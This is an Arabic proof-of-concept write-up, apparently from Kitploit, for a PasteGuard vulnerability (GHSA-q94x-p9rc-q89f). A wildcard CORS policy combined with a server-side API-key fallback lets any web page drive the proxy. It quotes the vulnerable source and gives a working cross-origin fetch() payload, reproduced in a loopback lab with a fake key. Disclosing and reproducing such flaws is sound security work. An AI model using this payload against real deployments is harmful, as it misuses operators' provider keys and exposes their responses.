pasteguard-PoC — PoC — إساءة استخدام الوكيل عبر الأصول المتقاطعة لمفاتيح API الخاصة بالمزوّد المُهيّأة في PasteGuard (GHSA-q94x-p9rc-q89f، CVE-2026-86998، CVSS 7.6). | Kitploit

src/index.ts:40-45 — const corsMiddleware = cors(); (دالة cors() في Hono بدون خيارات تُعيّن افتراضيًا Access-Control-Allow-Origin: *) تُطبَّق عبر app.use("*", ...) على كل شيء، مع استثناء صريح فقط لـ /dashboard و /dashboard/*. يُظهر التعليق الموجود مباشرة أعلاه (src/index.ts:34-39) أن المؤلف فكّر بعناية في تعرّض لوحة التحكم لـ CORS لكنه لم يمدّد نفس التفكير إلى مسارات الوكيل أسفلها.
src/config.ts:153 — host: z.string().default("0.0.0.0")، مؤكَّد فعليًا في config.example.yaml:13. يستمع الوكيل على جميع الواجهات افتراضيًا، وليس فقط loopback، لذا يمكن الوصول إليه من الشبكة المحلية أيضًا، وليس فقط من متصفح المشغّل نفسه.
src/providers/openai/client.ts:48-53:
```
// Use client's auth header if provided, otherwise fall back to config
if (authHeader) {
  headers.Authorization = authHeader;
} else if (config.api_key) {
  headers.Authorization = `Bearer ${config.api_key}`;
}
```
إذا لم يحمل الطلب الوارد ترويسة Authorization، يُرفق PasteGuard بصمت مفتاحه الخاص المحتفظ به على الخادم providers.openai.api_key بالطلب الصادر. يوثّق config.example.yaml:22-24 هذا كميزة راحة مقصودة ("احتياطي اختياري إذا لم يرسل العميل ترويسة المصادقة") لحالة الاستخدام "Apps & APIs".
src/providers/anthropic/client.ts:37-61 يُطبّق نفس نمط الاحتياطي لـ /anthropic/v1/messages (احتياطي x-api-key/Authorization إلى config.api_key) — مؤكَّد كحالة شقيقة لنفس السبب الجذري، ولم يُعَد التحقق منه بشكل مستقل من البداية إلى النهاية (انظر نطاق PoC أدناه).

تم تهيئة config.yaml مع providers.openai.base_url: http://127.0.0.1:9091 (منبع وهمي) و providers.openai.api_key: "sk-VICTIM-SECRET-DO-NOT-LEAK-12345"، و pii_detection.enabled: false (كاشف وهمي /health فقط، لتجنّب الحاجة إلى خدمة نموذج GLiNER الكاملة)، و secrets_detection.enabled: false. تم تشغيل PasteGuard بـ bun run src/index.ts، وتأكيد /health → 200.
تم تشغيل منبع وهمي (mock_upstream.py) على 127.0.0.1:9091 يسجّل أي ترويسة Authorization يستقبلها.
تم تقديم صفحة مهاجم حقيقية من أصل مختلف فعليًا، http://127.0.0.2:8001/attack.html (عنوان IP loopback حرفي مختلف، وفقًا لقواعد عزل المواقع في Chrome — وليس اختبار localhost من نفس الأصل)، عبر python3 -m http.server 8001 --bind 127.0.0.2. الإجراء الوحيد للصفحة عند التحميل:
```
fetch("http://127.0.0.1:3000/openai/v1/chat/completions", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ model: "gpt-4o-mini", messages: [{ role: "user", content: "cross-origin drive-by call, attacker supplied NO api key" }] })
}).then(r => r.json()).then(data => { /* render on page */ });
```
تم توجيه نسخة Chrome حقيقية (Chrome DevTools Protocol) إلى http://127.0.0.2:8001/attack.html. تم التأكيد عبر فحص شبكة DevTools:
- الطلب: origin: http://127.0.0.2:8001، sec-fetch-site: cross-site، لا ترويسة Authorization أرسلتها صفحة المهاجم.
- الاستجابة: access-control-allow-origin: *، HTTP 200، جسم JSON قابل للقراءة بالكامل بواسطة جافاسكريبت صفحة المهاجم.
- الصفحة عرضت: "CROSS-ORIGIN READ SUCCEEDED. Response body visible to attacker JS: ..." — لقطة الشاشة: ../evidence/cross_origin_csrf_success.png.
- سجل المنبع الوهمي لذلك الطلب بالتحديد: RECEIVED AUTH HEADER: Bearer sk-VICTIM-SECRET-DO-NOT-LEAK-12345 — مما يثبت أن PasteGuard أرفق مفتاح المشغّل الحقيقي المُهيّأ من جانب الخادم، دون أن تعرف صفحة المهاجم به أو توفّره قط.

الباحث	Dostxodjayev Abdullox (@squeeze440)
التنبيه	GHSA-q94x-p9rc-q89f
CVSS 3.1	7.6 (مرتفع)
الضعف	CWE-352، CWE-942

pasteguard-PoC

الأكثر شعبية

PasteGuard: تنبيه أمني